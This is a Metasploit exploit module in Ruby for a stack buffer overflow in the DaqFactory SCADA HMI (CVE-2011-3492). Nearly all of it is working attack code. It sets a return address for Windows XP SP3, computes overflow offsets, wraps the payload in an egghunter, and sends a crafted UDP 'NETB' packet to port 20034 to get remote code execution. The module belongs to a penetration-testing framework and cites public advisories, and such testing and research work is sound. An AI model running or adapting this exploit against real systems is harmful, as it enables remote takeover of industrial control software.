Path: blob/master/modules/exploits/windows/scada/daq_factory_bof.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'DaqFactory HMI NETB Request Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Azeotech's DaqFactory18product. The specific vulnerability is triggered when sending a specially crafted19'NETB' request to port 20034. Exploitation of this vulnerability may take a few20seconds due to the use of egghunter. This vulnerability was one of the 1421releases discovered by researcher Luigi Auriemma.22},23'Author' => [24'Luigi Auriemma', # Initial discovery, crash poc25'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit26],27'References' => [28[ 'CVE', '2011-3492'],29[ 'OSVDB', '75496'],30[ 'URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],31[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-264-01']32],33'DefaultOptions' => {34'EXITFUNC' => 'process',35'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',36},37'Payload' => {38'Space' => 600,39'BadChars' => "\x00",40},41'Platform' => 'win',42'Targets' => [43[44'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3',45{46'Ret' => 0x100B9EDF, # jmp esp PEGRP32A.dll47'Offset' => 636,48}49],50],51'DisclosureDate' => '2011-09-13',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63# Required for EIP offset64OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]),65Opt::RPORT(20034)66]67)68end6970def exploit71connect_udp7273print_status("Trying target #{target.name}...")7475eggoptions = {76:checksum => false,77:eggtag => 'scar',78}7980# Correct the offset according to the 2nd IP (DHCP) length81iplen = datastore['DHCP'].length82offset = 93 - iplen8384if offset >= 8085pktoffset = offset - 8086finaloffset = target['Offset'] - pktoffset87elsif offset <= 7988pktoffset = 80 - offset89finaloffset = target['Offset'] + pktoffset90end9192# springboard onto our unmodified payload93p = Rex::Arch::X86.jmp(750) + payload.encoded94hunter, egg = generate_egghunter(p, payload_badchars, eggoptions)9596sploit = "NETB" # NETB request overflow97sploit << rand_text_alpha_upper(233)98sploit << "\x00" # part of the packet structure99sploit << rand_text_alpha_upper(offset) # include the offset for the DHCP address100sploit << make_nops(2)101sploit << hunter102sploit << rand_text_alpha_upper(52 - hunter.length - 2)103sploit << [target.ret].pack("V")104sploit << rand_text_alpha_upper(12)105sploit << Rex::Arch::X86.jmp_short(-70)106sploit << egg107# packetlen needs to be adjusted to a max of 0x400 as per advisory108sploit << rand_text_alpha_upper(finaloffset - egg.length)109110# The use of rand_text_alpha_upper() ensures we always get the same length for the111# first IP address.112sploit[12, 4] = rand_text_alpha_upper(4)113114udp_sock.put(sploit)115116handler117disconnect_udp118end119end120121122